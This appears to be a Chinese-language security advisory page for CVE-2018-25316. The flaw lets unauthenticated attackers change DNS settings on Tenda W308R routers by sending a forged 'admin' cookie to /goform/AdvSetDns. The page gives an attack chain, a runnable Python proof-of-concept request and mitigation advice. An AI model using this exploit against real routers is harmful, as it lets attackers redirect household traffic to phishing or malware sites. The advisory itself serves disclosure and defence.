IPBUF安全漏洞报告
English
CVE-2018-25316 CVSS 9.8 严重

CVE-2018-25316 Tenda W308R DNS劫持漏洞

披露日期: 2026-04-29

漏洞信息

漏洞编号
CVE-2018-25316
漏洞类型
权限绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda W308R

相关标签

权限绕过DNS劫持IoT漏洞Tenda路由器会话管理

漏洞概述

Tenda W308R v2 V5.07.48版本存在Cookie会话弱点漏洞。由于缺乏足够的会话验证机制,未经身份验证的攻击者可以通过发送带有恶意admin语言cookie的GET请求到/goform/AdvSetDns接口,修改DNS设置。这可能导致用户流量被重定向至恶意网站,造成严重的网络安全风险。

技术细节

该漏洞的核心成因在于Tenda W308R路由器固件在管理接口`goform/AdvSetDns`中缺乏对客户端会话状态的有效校验。系统仅依赖简单的Cookie字段(如语言设置)来判断请求的合法性,而未验证是否存在有效的管理员登录会话。攻击者可以利用这一设计缺陷,通过发送精心构造的HTTP GET请求,在URL参数中指定恶意的DNS服务器IP地址,并附带伪造的`admin`语言Cookie。由于服务器端未对Cookie进行签名或时效性验证,请求被直接处理,导致DNS配置被恶意篡改。这使得攻击者能够拦截并重定向局域网内所有用户的网络流量,进而实施进一步的攻击,如钓鱼窃取凭证或植入恶意软件。

攻击链分析

STEP 1
发现阶段
攻击者扫描网络或通过Shodan等搜索引擎发现互联网上暴露的Tenda W308R路由器设备。
STEP 2
漏洞利用
攻击者向目标设备的/goform/AdvSetDns端点发送特制的HTTP GET请求,并在请求头中包含伪造的admin语言Cookie。
STEP 3
参数注入
请求参数中包含攻击者控制的DNS服务器IP地址,由于缺乏会话验证,设备接受并执行这些配置更改。
STEP 4
流量劫持
路由器的DNS设置被篡改后,局域网内用户的域名解析请求被转发至恶意DNS服务器,实现流量重定向或钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target IP of the vulnerable router target_url = "http://192.168.0.1/goform/AdvSetDns" # Malicious DNS servers to redirect traffic to malicious_dns_primary = "8.8.8.8" malicious_dns_secondary = "8.8.4.4" # Crafted Cookie based on the vulnerability description # Exploits the session weakness by mimicking an admin language cookie cookies = { "admin": "language=en" } # Payload parameters to change DNS settings payload = { "GO": "AdvSetDns.asp", "D Enable": "1", "D1": malicious_dns_primary, "D2": malicious_dns_secondary } try: # Send unauthenticated GET request response = requests.get(target_url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully. DNS settings may have been changed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Tenda W308R v2 V5.07.48

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议用户通过防火墙规则限制对路由器管理端口(默认为80)的访问,仅允许可信的内网IP地址进行管理。同时,应指导网络用户手动配置设备DNS为公共可信DNS(如114.114.114.114或8.8.8.8),以规避路由器DHCP下发恶意DNS的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表